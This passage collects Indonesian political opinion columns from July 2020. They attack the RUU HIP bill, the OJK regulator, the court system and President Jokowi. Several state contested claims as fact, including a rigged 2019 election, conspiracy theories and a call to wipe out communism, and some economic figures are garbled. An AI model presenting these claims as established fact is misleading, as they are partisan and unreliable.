sedang menyosialisasikan sila "gotong royong". Yang sepertinya bagus sebagai "bahu-membahu", tetapi pada interpretasi ekstrim menjadi "communalism" dan "materialism", sehingga pada hakekatnya adalah "communism". "Communism is philosophical, social, political, economic ideology and movement whose ultimate goal is the establishment of a communist society". Budaya konflik dan menghalalkan segala cara melekat dengan perjuangan komunisme. Agama dianggap musuh dan candu masyarakat. Komunisme adalah kejahatan. Juga sekaligus penyakit berat yang berbahaya. Harus ditumpas habis sampai ke akar-akarnya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Infonya Mahasiswa Geruduk DPR. Ah, Yang Bener?

by Tony Rosyid Jakarta FNN – Ahad (12/07). Beda mahasiswa sekarang (abad 21) dengan mahasiswa dulu (abad 20). Setidaknya ada dua factor yang membedakan mereka. Pertama, mahasiswa sekarang umumnya lebih berorientasi pada kerja. Cepat lulus, IP bagus, dapat pekerjaan, punya duit, lalu cari mertua. Gak sabar untuk segera hidup mapan. Para aktifis mahasiswa di abad 20, mental berbangsanya lebih kuat dibanding aktifis mahasiswa abad 21. Dulu saat ke Jakarta, para mahasiswa naik bus, kereta atau kapal. Bahkan ada yang numpang truk. Makannya nasi bungkus. Siap juga untuk drop out. Bagaimana dengan mahasiswa sekarang? Dari daerah naiknya pesawat bro! Rapatnya juga sukanya di resto dan Cafe. Mungkin saja karena para aktifis sekarang, mereka berasal dari para orang tua yang sudah kaya. Atau sudah pinter untuk mencari donatur. Joko Edi Abdurrahman, mantan anggota dewan yang sekarang aktif sebagai pengacara ini pernah melempar isu bahwa ada dana Rp. 200 juta yang mengucur setiap bulannya ke Ormas Mahasiswa. Sebanyak Rp. 20 juta untuk pimpinannya. Isu ini sempat ramai. Bahkan Joko Edi akan dilaporkan ke polisi. Ditunggu-tunggu, kok laporannya nggak jadi-jadi, kata Joko Edi. Benar atau tidak itu isu, proses hukum nggak berjalan atas sinyalemen dana Rp. 200 juta versi Djoko Edi yang biasa disapa para aktivis di Kawasan Menteng dengan Prof itu. Karena laporan nggak kunjung dibuat. Sehingga masyarakat gak tahu persisnya. Tapi, stigma terlanjur menyebar. Selain itu, posisi mahasiswa sekarang berada dalam tekanan kampus. Sejak rektor dipilih oleh menteri dan dekan dipilih oleh rektor, maka kampus berada dalam kontrol kekuasaan. Mahasiswa sulit untuk leluasa menjadi oposisi. Ancamannya dari pihak rektorat, bisa dikeluarkan dari kampus. Di zaman Orde Lama dan Orde Baru, kampus juga berada dalam kontrol. Ada juga mahasiswa, dosen dan rektor yang dipecat. Bahkan dipenjara. Tetapi sekarang, kontrolnya lebih terstruktur. Melalui semua pimpinan kampus. Jika mahasiswa macam-macam, sikaaaaaaaaat! Saat ini, nyaris rektor dan dekan menjadi alat kontrol kampus. Tidak saja terhadap mahasiswa. Dosen yang terlalu kritis terhadap penguasa akan dapat teguran. Bahkan sebagian dapat teror dan intimidasi. Kasus diskusi publik di Fakultas Hukum UGM yang sempat ramai beberapa bulan lalu, menjadi salah satu buktinya. Gimana nasib kasusnya? Gelap kan? Maka, ketika ada info kalau tanggal 16 Juli 2020 mahasiswa seluruh Indonesia akan geruduk DPR berkaitan dengan RUU HIP dan RUU Omnibus Law, masyarakat agak apatis. Yang bener aja bro? Paling-paling juga berapa jumlahnya. Begitu kira-kira keraguan masyarakat. Selain tidak kompak, juga pesertanya sedikit. Juga cepat sekali kendor. Bisa juga karena kemasukan angin Itu bisa dilihat dari sisi jumlah yang demo selama ini, sehingga perlu bantuan anak-anak STM. Demonya berhenti sebelum tuntutan dipenuhi. Layu sebelum berkembang. Memble! Jika demo zaman dulu, jika ada mahasiswa dianiaya dan mati, maka urusannya menjadi panjang. Perubahan punya harapan lagi. Sekarang ini, beberapa orang mati, termasuk mahasiswa saat berdemo. Namun mahasiswa yang hidup bersikap sepertinya biasa-biasa saja. Seperti tidak ada kematian Demo berhenti dan kematian para korban seolah-olah dilupakan begitu saja. Mungkin juga karena sudah diganti dengan santunan, atau dapat hadiah sepeda. Kasihan nasib orang-orang yang mati itu. Doaku, semoga perjuangan kalian tak sia-sia. Dan kalian sudah bersama bidadari di sana (syurga). Meskipun begitu, bangsa ini harus tetap optimis. Berikan kesempatan kepada siapapun, termasuk mahasiswa untuk berjuang. Selama tidak destruktif, berjalan sesuai dengan aturan hukum, rakyat akan selalu mendukung. Semoga kali ini, endingnya gak mengecewakan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Sekarang Waktu Yang Tepat Untuk Bubarkan OJK

by Ahmad Suryono SH.MH. Jakarta FNN – Ahad (12/07). Saat menginisiasi Permohonan Uji Materi Undang-Undang Nomor 21 Tahun 2011 Tentang Otoritas Jasa Keuangan (OJK) Tahun 2014 di Mahkamah konstitusi (MK), banyak pihak yang belum percaya dengan apa yang kami perjuangkan. Terutama yang terkait Supremasi Absolut OJK yang berpotensi disalahgunakan. Supremasi itu berupa kewenangan yang sangat mutlak di satu tangan. Dimulai dari Pengaturan, Pengawasan, dan Penegakan Hukum di Industri Keuangan. Barulah enam tahun kemudian terbukti bahwa kewenangan sangat mutlak ini tidak dibarengi dengan protokol pengawasan internal yang memadai. Bagaimana mungkin praktik kotor, licik dan culas di asuransi yang jelas-jelas melanggar, dapat dengan mudah lolos dari pengawasan OJK? Boleh percaya, boleh juga tidak. Namun ini nyata terjadi. Bahkan andaikan OJK telah menilai praktik kotor asuransi tersebut bersalah dan melanggar hukum, mengapa OJK tidak berdaya mencegah? Apakah mungkin ada mekanisme hubungan kelembagaan di internal OJK yang memang bermasalah? Sehingga menjadi celah, serta luput untuk tidak diatur? Setidaknya ada tiga topik yang relevan untuk dibahas dan menjadi alasan mengapa pembubaran OJK menadji kebutuhan yang mendesak. Pertama, OJK secara konseptual gagal. Kasus Jiwasraya menunjukkan ada lubang terkait kewenangan pengawasan, dan atau mekanisme self control terhadap mekanisme pengawasan tersebut di internal OJK. Jadi, yang bermasalah atau sumber permasalahan itu adanya di OJK. Bukan di luar OJK. Jika memang pengawasan telah belangsung dengan baik dan proper, maka secara teori kasus Jiwasraya tidak mungkin terjadi. Jikapun terjadi, seharusnya terdapat pertanggungjawaban sistemik. Yang bertanggung jawab itu, bisa sampai kepada pengambil keputusan tertinggi, yaitu Dewan Komisioner. Faktanya, hingga detik ini hubungan koordinasi dan pengambilan keputusan tersebut menjadi putus. Keputusan itu seolah-olah terhenti hanya di tersangka Fahri Hilmy saja. Dewan Komisioner OJK sepertinya tidak punya kesalahan sedikitpun atas skandal perampokan ini. Yang lebih parah lagi. Jika memang secara konseptual, pengawasan terintegrasi yang selama ini menjadi senjata pamungkas OJK hanyalah omong kosong. Hanya utopia yang memang secara natural tidak mungkin diatur dan diawasi. Kalau seperti ini adanya untuk apa lagi kelembagaan OJK dipertahankan lagi? Kedua, terdapat celah protokol pengawasan internal yang tersumbat. Celah ini nampak nyata karena yang ditetapkan tersangka hanyalah bawahan. Berkaca dari kasus Bank Century, KPK setidaknya progresif dengan memanggil (berkali-kali) anggota Dewan Gubernur Bank Indonesia (BI) yang terlibat dan ikut dalam pengambilan keputusan bailout Century. Jika memang kejahatan Jiwasraya hanya dilakukan oleh pejabat setingkat Kepala Departemen, maka patut dipertanyakan alarm system internal di OJK. Sejauh mana bisa alarm tersebut bisa mendeteksi potensi kejahatan pegawai internal mereka? Bukan tidak mungkin, di bagian lain dari OJK, juga terjadi hal serupa. Inilah waktunya untuk OJK dibubarkan. Ketiga, konsep independensi OJK yang salah kaprah. Filosofi independensi yang digaungkan oleh OJK akan sangat kontradiktif. Alasanya, karena OJK masih saja menjadi tukang pungut iuran. OJK masih mengambil kutipan dari pelaku usaha yg berpotensi mengurangi independensi. Lebih parah lagi, independensi yang dipraktekkan oleh OJK adalah independensi yang mau mengatur dirinya sendiri. OJK memang bebas, namun tidak mau diatur dan ditertibkan oleh pihak luar. Tidak mau diawasi. Tidak mau ada mekanisme self control yang transparan. Maunya berbuat sesuka hati. Organisasi sekelas OJK seharusnya dipatuhi dan disegani oleh para pelaku usaha. Tujuannya, agar OJK mampu menegakkan visinya untuk mengintegrasikan pengaturan dan pengawasan industri keuangan di satu tangan. Kalau masih jadi tukang pungut iuran, bagaimana mungkin mau disegani? Jika integritas masih belum terbentuk karena waktu, maka harus dibangun dengan sistem dan mekanisme kontrol yang ketat. Mekanisme yang tidak memungkinkan pelanggaran dan kejahatan dilakukan oleh pengawas OJK. Jangan sampai pelaku malingnya adalah satpam penjaga rumah sendiri. Jika ini yang terjadi, maka sudah waktunya untuk OJK dibubarkan. Oleh karena itu pembubaran OJK menjadi sangat relevan dan menemukan momentumnya, maka sekarang adalah waktu yang paling tepat. Membubarkan OJK tidaklah membuat negeri ini kolaps kok. Mending sekarang dibubarkan, daripada OJK berubah menjadi serigala baru dalam rimba industri keuangan nasional kita. Penulis adalah Dosen Fakultas Hukum Universitas Muhammadiyah Jember dan Pemohon Uji Materi UU OJK pada Tahun 2014.

Mahkamah Kontitusi Harusnya Bagian Dari Mahkamah Agung (Bag-1)

by Prihandoyo Kuswanto Jakarta FNN – Ahad (12/07). Bagi pemerhati ketatanegaraan dan hukum, memang ada yang ganjil sejak UUD 1945 diamandemen trahun 2002. Kemudian lahir Makamah Konstitusi (MK). Padahal di dalam UUD 1945 yang asli, pemegang kedaulatan hukum tertinggi adalah Makamah Agung (MA). Sejak itulah, terjadi dua matahari di dalam kekuasaan hukum. Kenyataan ini tentu saja menjadikan hukum tidak lagi memberi kepastian hukum kepada para pencari keadilan . Setelah diamandemennya UUD 1945, memang terjadi karut-marut di dalam ketatanegaraan kita. Belum selesai polemik terkait Rancangan Undang-Undang Haluan Ideologi Pancasil (RUU HIP) yang dengan sengaja terjadi jungkir-balik Tata Urutan Hukum, Pancasila yang menjadi sumber dari segala sumber hukum dibalik menjadi hanya UU Haluan Ideologi Pancasila. Peraturan perundang-undangan, menurut Pasal 1 angka 2 Undang-Undang Nomor 12 Tahun 2011 tentang Pembentukan Peraturan Perundang-Undangan (UU 12/2011) adalah “peraturan tertulis yang memuat norma hukum yang mengikat secara umum dan dibentuk atau ditetapkan oleh lembaga negara atau pejabat yang berwenang melalui prosedur yang ditetapkan dalam peraturan perundang-undangan”. Pada Jum’at 3 Juli 2020 lalu, Mahkamah Agung (MA) mengunggah hasil putusannya yang bisa menimbulkan kembali perdebatan dan polemik tentang hasil Pemilihan Umum (Pemilu) 2019 lalu. Keputusan tersebut sesungguhnya bukan keputusan yang baru kemarin. Namum baru dipublikasikan dalam website resmi MA pada 3 Juli lalu. Putusan Mahkamah Agung No 44 P/HUM/2019 tertanggal 28 Oktober 2019 tersebut, tentu saja berpotensi menimbulkan polemik mengenai keabsahan hasil Pilpres 2019. Intinya putusan itu menganggap Pasal 3 ayat (7) Peraturan Komisi Pemilihan Umum Republik Indonesia Nomor 5 Tahun 2019 bertentangan dengan Undang-Undang (UU) Nomor 7 Tahun 2017 tentang Pemilihan Umum. Pangkal persoalannya mengenai pasangan capres-cawapres yang hanya dua orang. Peraturan KPU mengisi celah ruang kosong yang tidak diatur oleh UU Pemilu. Sehingga tanpa perlu ada putaran kedua dan tanpa mempertimbangkan syarat kemenangan suara dengan sedikitnya 20% (dua puluh persen) suara di setiap provinsi yang tersebar di lebih dari 1/2 (setengah) jumlah provinsi di Indonesia, KPU menetapkan pasangan capres-cawapres dengan suara terbanyak sebagai pemenangnya. Aturan ini ternyata dibatalkan oleh MA. Polemik tidak bisa dilantiknya Jokowi sebagai yang dimenangkan pilpres oleh KPU. Ternyata tidak serta merta bisa dilantik sebab telah berhadapan dengan UUD 1945. Mau direkayasa bagaimanapun jelas tidak mungkin. Kecuali dengan mengganti negara hukum menjadi negara kekuasaan. Apakah itu dimungkinkan? Ternyata UUD 1945 ditabrak dan ditafsir lain oleh KPU sesuka hatinya. Padahal Pasal 6A ayat (3) UUD 1945 berbunyi: (i) Pasangan calon Presiden dan Wakil Presiden yang mendapatkan suara lebih dari lima puluh persen dari jumlah suara dalam pemilihan umum; dan (ii) dengan sedikitnya dua puluh persen suara di setiap provinsi yang tersebar di lebih dari setengah jumlah provinsi di Indonesia. Ini adalah hasil dari amandamen UUD 1945, khususnya pasal tentang pemilihan presiden/wakil presiden. Melihat butir 2, secara implisit dapat dikatakan Jokowi belum bisa dinyatakan sebagai pemenang. Karena tidak suara terbanyak 17 propinsi, dan di beberapa propinsi perolehan suara kurang dari 20%. Ada yang berpendapat kalau sudah diputuskan MK melalui gugatan seseorang. Bahwa butir dua pasal 6A ayat 3 tidak berlaku jika paslon cuma dua. Kalau betul MK telah memutus sesuai paragraf di atas, maka keputusan MK adalah sah. Tanpa merubah isi dan norma dari pasal-pasal tersebut? Kalau sah, berarti kedudukan MK di atas UUD 1945. Padahal yang berhak merubah UUD 1945 adalah MPR. Kalau begitu, kedudukan MK di atas UUD 1945. Berikut petikan berita, bahwa MK tidak berhak merubah UUD 1945. Catat itu baik-baik. Merubah UUD 1945. Bukanmerubah undang-undang. Berita Detik.com 5 Maret 2014 berjudul “Bisakah UUD 1945 Diubah oleh MK? Ini Jawaban Calon Hakim Konstitusi” Calon hakim konstitusi Yohannes Usfunan yang mendapat giliran terakhir dalam uji kepatutan dan kelayakan di Komisi III DPR. Yohannes mendapat pertanyaan tentang bisa atau tidaknya UUD 1945 diubah oleh hakim MK? “Bisa tidak hakim MK mengubah UUD 1945?” tanya anggota tim pakar Komisi II DPR Saldi Isra di Gedung DPR Senayan pada Rabu (5/3/2014). Yohannes lalu menjawab bahwa menurut pasal 37 UUD 1945, pengubahan bisa dilakukan, dan diserahkan kepada MPR. Bukan kepada MK. Saldi yang tak puas, kembali mencecar Yohannes. “Secara teoritis bagaimana? Bisa tidak MK mengubah UUD 1945?” tanya Saldi lagi. “Secara diam-diam bisa. Secara implisit bisa ada perubahan. Tetapi secara formal tidak bisa, karena itu wewenang dari MPR,” jawab Yohannes. Jawabannya itu memunculkan pertanyaan dari Saldi. “Bagaimana itu caranya diam-diam?” tanya Saldi sambil menahan tawa. “Maksudnya implisit. Suatu putusan mengubah UU,” jawab Yohannes yang langsung dipotong Saldi. “UUD lho, bukan UU,” katanya tegas. “Berarti tidak boleh. Saya tidak temukan teorinya,” jawab Yohannes yang kemudian kembali dicecar Saldi. “Bapak sudah baca buku Konstitusi-Konstitusi Modern dari K.C Wheare?” tanya Saldi. Ternyata Yohannes belum membacanya. “Lho, itu kitab yang harus dibaca!” kata Saldi mengeluhkan Yohannes. Komisi III melaksanakan fit and proper test untuk calon hakim MK sejak Senin (3/3/2014) hingga hari ini dengan didampingi 8 orang tim pakar. Sebanyak 11 orang calon hakim diseleksi untuk mencari pengganti Akil Mochtar yang ditangkap KPK dan Harjono yang akan pensiun. Semakin rumit pilpres kali ini. Mangkanya Jokowi berbalik arah untuk menggandeng Prabowo. Mengapa? memang disamping tidak mempunyai legitimasi, juga tidak bisa dilantik tanpa power sharing dengan Prabowo. Jika mengacu pada pilpres, harusnya Prabowo yang menang. Sebab persyaratan menang tercukupi tapi sayang di rekayasa untuk kalah oleh KPU. Tetapi ternyata ada persoalan yang lebih urgent dibanding dengan sekedar memenangkan angka dengan kecurangan Terstruktur Sistematis dan Masif (TSM). Rupanya “becik ketitik oloh ketoro” berlaku dalam hukum pilpres. “Becik Ketitik Olo Ketoro“ berarti segala sesuatu perbuatan yang baik pasti akan menuai kebaikan. Sebaliknya, setiap perbuatan buruk dan jahat pastinya akan terkuak juga di kemudian hari. Sopo Sing Salah Bakal Saleh = orang yang berbuat salah akan memetik buah jeleknya. Lama kelamaan perbuatan itu akan ketahuan pula. Jadi, kecurang yang dilakukan secara terstruktur, tersistem dan masif akan terbuka walau ditutup-tutupi. “Gusti Alloh mboten sare”. Ungkapan nasehat yang sederhana ini adalah bentuk dan wujud dari ungkapan keikhlasan terhadap keadaan dan kondisi yang pasrah dengan ikhlas. Tentu saja tidak ada didunia ini tanpa sepengetahuan sang khaliq, termasuk sehelai daun kiring yang memang sudah waktunya jatuh. Bahwa benar putusan MA Nomor 44 P/HUM/2019 tertanggal 28 Oktober ini tidak berlaku surut (non-retroaktif). Keputusan KPU menetapkan Jokowi-Ma’ruf Amin sebagai pemenang itu tanggal 21 Mei 2019. Lima bulan sebelum keluarnya putusan dari MA. Kalau kita mendalami persoalan ini, maka tentu saja semakin tidak adanya kepastian hokum. Apa sudah betul, bahwa keputusan KPU itu tidak bisa dianulir oleh MA .Kalau begitu apa KPU lebih tinggi dari pada MA? Semakin bertambah ruwet lagi masalahnya. Repotnya, Pasal 416 UU Nomor 7/2017 itu merupakan norma yang disadur dari Pasal 6A ayat (3) UUD 1945. Artinya, ada kemungkinan UU Pemilu digugat ke Mahkamah Konstitusi (MK), selama Pasal 6A UUD 1945 tidak diamandemen untuk mengakomodasi Pilpres hanya diikuti dua pasangan. Sayangnya celah hokum itu sudah tertutup. Sebenarnya dengan adanya dua putusan MK masing-masing No. 50/PUU-XII/2014 dan No. 39/PUU-XVII/2019, apakah MK bisa merubah norma yang ada di UUD 1945? Disinilah terjadi dua Matahari Kembar persoalan hokum di negeri ini. Antara MA dan MK sering mempunyai keputusan hukum yang berbeda. Terlepas dari argumen hukum yang digunakan oleh berbagai pakar, tetapi terjadinya dua Matahari Hukum ini berpotensi menimbulkan keruwetan dan ketidakpastian hukum bagi pencari keadilan. Apakah Makamah Konstitusi lebih rendah dibanding Makamah Agung? atau sebaliknya, Makamah Konstitusi lebih tinggi dari Makamah Agung ? atau Makamah Konstitusi dan Makamah Agung sederajat? Maka potensi kerancuan hukum dan ketidakpastian hukum pasti akan terjadi. Seharusnya Makamah Konstitusi itu bagian dari Makamah Agung. Bagian dari Kamar Konstitusi di Mahkamah Agung. Sama dengan Kamar Pidana, Kamar Perdata, Kamar Agama dan Kamar Militer. Praktek seperti ini yang berlaku hampir sebagian besar negara di dunia. Jadi tidak berdiri sendiri seperti Indonesia. Bersambung.

Siapa Yang Tonjok Jokowi?

by M Rizal Fadillah Jakarta FNN – Jum’at (10/07). Dipastikan ada kesengajaan "upload" Putusan Mahkamah Agung No. 44 P/HUM/2019 pada Jum’at 3 Juli 2020. Padahal Putusan tersebut sudah lama bersembunyi di meja Mahkamah Agung. Ada yang tidak tahan untuk terus menyembunyikan atau ada pengorder yang minta agar segera diupload Putusan tersebut. Situasi nampaknya semakin hangat. Setelah perseteruan antara Pimpinan Partai dengan Petugas Partai pada kasus korupsi Jiwasraya melawan suap KPU Harun Masiku, dimana enam tersangka kasus Jiwasraya disidang dan 13 manajer investasi ditetapkan sebagai tersangka baru. Bergerak menyertai audit atas keterlibatan OJK, bursa, Kementrian BUMN dan BUMN tertentu. Sementara di sisi lain Harun Masiku masih kuat untuk menghilang. Tiga tersangka sudah masuk tahap persidangan. Metreka adalah Wahyu Setiawan, Agustiani, dan Saeful Bahri. Kotak pandora Harun belum terkuak. Apakah pimpinan Partai terlibat suap ini atau Harun bermain sendiri. Harun belum juga muncul atau tertangkap. Nampaknya KPK masih takut berhadapan dengan "Harun". Kini nampaknya perseteruan makin menguat setelah masalah RUU HIP. Usulan PDIP digempur habis dengan mengangkat isu PKI dan Komunisme. Alih-alih Istana membela. Malah terkesan membiarkan atau membuang badan. Pernyataan Jokowi bahwa pemerintah tidak tahu-menahu proses RUU inisiatif DPR dinilai menyakitkan. Mustahil Jokowi tidak tahu, prolegnas saja dibahas bersama. Di tengah kencangnya serangan pada RUU HIP, usulan PDIP itu tiba-tiba muncul upload Putusan MA No 44 P/HUM/2019. Isinya menggugat dasar hukum yang dipakai KPU untuk memenangkan pasangan Jokowi-Ma'ruf Amin. Mahkamah Agung menyatakan bahwa Pasal 3 ayat (7) PKPU No 5 tahun 2019 bertentangan dengan UU No 7 tahun 2017. Mahkamah Agung selanjutnya juga menyatakan Pasal 3 ayat (7) PKPU tersebut "tidak memiliki kekuatan hukum yang mengikat". Dengan demikian, runtuhlah dasar hukum yang dipakai KPU untuk menetapkan kemenangan Pasangan Presiden/Wakil Presiden sekarang. Gonjang-ganjing terdengar keras. Pro dan kontra atas batalnya kemenangan Jokowi-Ma'ruf Amin. Bagi yang kotra, Putusan MA tersebut membatalkan. Bagi yang kontra tentu tidak membatalkan. Alasannya, Putusan MA tidak berlaku surut. Bagi penulis, tentu membatalkan karena menyangkut dasar hokum yang dipakai oleh KPU. Perumpamaan yang paling mudah adalah Sertifikat, yang kemudian dapat dibatalkan oleh temuan bahwa Sertifikat tersebut ternyata palsu. Sertifikat palsu tidak mungkin digunakan untuk membangun sebuah bangunan gedung atau rumah baru. Dalam hal ini KPU wajib untuk mencabut keputusan keliru yang telah dibuat. Nah heboh Putusan MA jadi skandal. Diduga ini adalah perbuatan politik yang disengaja. Tentu arahnya menggoyahkan legitimasi Jokowi. Disinilah pertanyaan muncul siapa yang menonjok Jokowi ? Skenario beragam bisa terjadi. PDIP yang "agak" berseteru. Bisa juga oknum MA yang mungkin bermotif pragmatik, atau di lingkaran Jokowi yang sakit hati. Semua kemungkinan bisa saja terjadi. Sebagian rakyat menyebut sebagai pengalihan isu atas gempuran RUU HIP. Sebagian menyatakan ini momentum pemakzulan Jokowi yang menumpuk kesalahannya. Teori konspirasi global menuduh Amerika terkait rezim Jokowi yang pro China. Atau mungkin juga ini mainan Jokowi sendiri untuk menguji para "dukun" pendukungnya. Yang jelas Putusan MA merupakan gelindingan politik berspektrum luas. Jawaban atas pertanyaan "Siapa yang tonjok Jokowi ?" Tentu menarik untuk dapat dibaca pada peta kekuatan yang ada dan berpengaruh. Apakah di tengah permasalahan berat ekonomi negara, pandemi covid 19, serta isu eskalasi gerakan komunisme ini, rezim Jokowi akan mampu membangun stabilitas? Atau sebaliknya, justru Pemerintahan ini akan berhenti di tengah jalan ? Penulis adalah Pemerhati Politik dan Kebangsaan

Presiden Jokowi Memang Harus Ngeri!

by Hersubeno Aief Jakarta FNN – Jum’at (10/07). Presiden Jokowi kembali menyatakan betapa berbahayanya situasi dunia, khususnya Indonesia. Jokowi bahkan menggunakan kosa kata yang sesungguhnya tak lazim dan tak boleh diucapkan seorang Presiden. “Ngeri…..terus terang saya ngeri.” Jokowi juga menggunakan kembali kosa “bahaya”, dan “krisis”. Yang kali ini tidak diucapkan adalah “extra ordinary”. Dia menyampaikan kegalauannya dalam sidang kabinet terbatas Selasa (07/07). Pernyataan itu kemudian didistribusikan ke media oleh Biro Pers Istana Rabu malam (08/07). Lumayan, hanya berselang satu hari. Tidak harus dipendam dulu sampai 10 hari. Seperti ketika Jokowi marah-marah pada rapat paripurna kabinet (18/06). Mengancam akan membubarkan lembaga dan memecat menteri (reshufle). Presiden sudah benar. Memang harus ngeri. Walaupun terlambat, tapi harus tetap kita syukurilah. Akhirnya ada kesadaran situasinya extra ordinary seperti ucapannya. Harusnya ngerinya sejak dulu. Tujuh bulan lalu ketika virus corona, muncul di Wuhan. Atau setidaknya ya tiga setengah bulan lalu lah. Ketika di Jakarta dipastikan ada yang positif tertular virus made in China itu. Situasinya kini seperti nasi sudah menjadi bubur. Krisisnya bukan hanya berdampak terhadap kesehatan dan ekonomi. Tapi sudah merambah kemana-mana. Krisis sosial, krisis politik, krisis kepercayaan terhadap pemerintah, krisis legitimasi, dan yang lebih mengerikan —khususnya bagi Jokowi— adalah krisis kepemimpinan. Para menteri tidak menjalankan perintah Jokowi, sehingga kemarahan itu harus diulang-ulang. Sampai harus memohon supaya para menteri punya “perasaan yang sama” dengannya. Dan kini nadanya dari marah berubah menjadi ngeri. Ucapan seseorang yang tidak lagi berdaya. Padahal dia seorang presiden yang masih berkuasa penuh. Krisis saat ini ibarat penyakit kanker. Sudah metastase. Penyebaran sel kanker dari satu organ atau jaringan tubuh, merambah ke organ yang lainnya. Jauh dari tempat awal munculnya kanker. Sudah stadium IV, sudah terminal. Harus ada penanganan yang super serius, super fokus, tidak boleh lengah. Setelah itu tinggal menunggu keajaiban. Menunggu takdir! Demoralisasi Mengapa Jokowi sampai harus mengucapkan kata ngeri? Ucapan yang seharusnya tabu bagi seorang Presiden? Ucapan itu bisa menimbulkan demoralisasi. Bukan hanya untuk timnya, yang lebih utama bagi rakyat jelata. Kelompok yang paling menderita karena pandemi. Meminjam ucapannya, situasi ekonomi dunia saat ini benar-benar parah. Pertumbuhan ekonomi terus anjlok. Dari semula 2,5 persen, turun menjadi 5 persen, dan sekarang menjadi 7,5 persen. Lalu bagaimana dengan Indonesia? Menkeu Srimulyani pada pertengahan Juni lalu memprediksi pertumbuhan ekonomi Indonesia kuartal kedua akan minus 3,1 persen. Kadin Indonesia punya perhitungan lebih parah. Minus 4-6 persen. Badan Pusat Statistik (BPS) memprediksi minus lebih dari 7%. Pada kuartal III, Sri memperkirakan pertumbuhan ekonomi diprediksi minus 1 hingga 1,2% dan pada kuartal IV di kisaran 1,6% hingga 3%. Pertumbuhan ekonomi yang membaik di kuartal III dan IV itu hanya bisa terwujud bila asumsi-asumsi stimulus ekonomi berjalan dengan baik. Dan yang paling penting, bila pengendalian pandemi bisa berjalan dengan baik pula. Yang terjadi saat ini justru sebaliknya. Ketika marah-marah dalam rapat paripurna, Jokowi mempersoalkan penyerapan anggaran pemerintah yang sangat rendah. Fokus yang dia soroti anggaran kesehatan, anggaran jaringan pengaman sosial, dan stimulus ekonomi. Dalam rapat terbatas dengan departemen/lembaga yang memiliki anggaran terbesar (07/07), hal itu kembali dipersoalkan. Dia menyoroti anggaran di Dephan dan lembaga lainnya yang penyerapannya masih lamban. Data terbaru ketika pemerintah menerapkan tahapan menuju new normal —dengan harapan ekonomi dapat kembali bergerak—tingkat positif corona malah melonjak drastis. Kamis (09/07) jumlah positif Covid-19 mencapai rekor tertinggi 2.657 orang. Angkanya menyebar di berbagai provinsi, dan Jabar tiba-tiba menyalip Jatim dan DKI dengan angka positif tertinggi. Di Bandung lebih dari seribu taruna sekolah calon perwira (Secapa) TNI AD kedapatan positif covid. Sejumlah kantor pemerintah kembali diliburkan karena pegawainya positif terjangkit. Mereka terpaksa diminta kembali bekerja dari rumah. Sayangnya dari penilaian Jokowi, bekerja dari rumah, bagi ASN malah seperti cuti panjang. Padahal semua harus kerja keras dan kerja cepat. Kemarahan, ancaman pembubaran lembaga, reshufle dan terakhir pernyataan “ngerinya” Jokowi menunjukkan situasi krisis di pemerintahan Jokowi. Data yang tidak sinkron. Instruksi Jokowi yang tidak dijalankan para menteri, menunjukkan dia tidak berdaya. Diabaikan. Ketika Jokowi marah, dia menyebut anggaran Kemenkes sebesar Rp 75 triliun, baru terserap 1,53 persen. Data itu langsung dibantah Komisi IX DPR RI. Benar, anggaran Kemenkes sangat besar. Rp 87,5 triliun. Bukan Rp 75 triliun. Untuk anggaran Covid hanya Rp 25,75 triliun. Sisanya sebesar Rp 61,2 triliun dikelola Kementerian Keuangan. Dari jumlah Rp 25,75 triliun tersebut, yang baru diserahkan ke Kemenkes sebesar Rp 1,96 triliun atau sekitar 17,6 persen. Jadi dari mana Jokowi mendapat data itu? Sudah marah, salah data pula. Kemudian ancaman membubarkan lembaga dan reshufle kabinet. Juga dimentahkan oleh Mensesneg Pratikno. Menurutnya kalau kabinet bekerja baik, reshufle tidak relevan lagi. WHAATTTTT? Pernyataan Presiden dikoreksi oleh seorang menteri? Dunia sudah terbolak-balik. Harusnya pernyataan menteri kalau salah, dikoreksi oleh presiden. Tidak boleh terbalik. Yang paling mutakhir adalah munculnya keputusan Mahkamah Agung (MA) memenangkan gugatan Rachmawati. Pembatalan Peraturan KPU yang menjadi dasar kemenangan Jokowi-Ma’ruf pada Pilpres 2019 oleh MA, menimbulkan kehebohan yang luar biasa. Kendati para pakar hukum tata negara sebagian besar sepakat, bahwa itu tak berpengaruh terhadap hasil Pilpres 2019, namun secara politik punya dampak yang berbeda. Semua itu menunjukkan lemahnya basis legitimasi dan kepuasan publik atas kinerja pemerintahan Jokowi. Andai saja semuanya baik-baik. Ekonomi tumbuh. Perut rakyat kenyang. Penanganan pandemi terkendali dan berjalan baik. Mau ada seribu keputusan baru dari MA, tidak akan berpengaruh. Apalagi sampai heboh. Sampai bawa-bawa ganti pemerintah lah. Pemilu ulang lah. Ada pula yang minta Jokowi turun. Kalau sudah begini kondisinya, Presiden Jokowi memang harus ngeriiii! End Penulis adalah Wartawan Senior

Jokowi Merasa Ngeri

by Asyari Usman Jakarta FNN - Kamis (09/07). Presiden Jokowi mengatakan dia ngeri dengan situasi yang akan dihadapi. Pertumbuhan ekonomi bisa minus 8%. Pak Joko masih belum puas dengan cara kerja para menterinya. Harus bekerja lebih keras lagi. Lebih serius lagi. Harus ada perasaan krisis (sense of crisis). Begini Pak Joko. Yang lebih ‘horrific’, lebih seram, lagi nanti ialah ketika Anda ditanya di Akhirat tentang kekuasaan Anda, Pak. Bagaimana mendapatkannya; bagaimana menggunakannya dan untuk siapa. Perasaan ngeri Anda selagi Anda duduk di Istana, tak ada apa-apanya dibandingkan dengan teror di Padang Mahsyar, kelak. Di Akhirat sana tidak ada lagi yang pasang badan untuk Anda. Tidak ada Pak Luhut. Tidak ada Pak Hendro. Tidak juga Pak Tito. Panjenengan akan berdiri sendirian menjawab interogasi Allah al-Aziz al-Hakim. Tidak bisa berkilah. Yang ada malahan saksi-saksi yang mungkin akan memberatkan. Ketua KPU akan dipanggil. Ketua MK akan dihadirkan. Ketua MA akan tampil. Semua mereka akan berbicara apa adanya. Semua mereka akan tertunduk jujur. Begitu pula orang-orang kuat Anda yang lainnya. Siapa pun dia. Para ketua parpol koalisi akan bersaksi juga. Mereka akan membeberkan semuanya. Sesuai dengan rekaman CCTV yang disimpan oleh malaikat Rakib dan Atid. Rekamannya lengkap. Kedua malaikat ini tidak akan pernah “salah input” seperti di KPU. Tak seorang pun yang berani membolak-balikkan fakta. Para buzzer Anda membisu ketakutan. Denny Zulfikar Siregar, Abu Janda, Ade Armando, dll, tidak lagi bisa 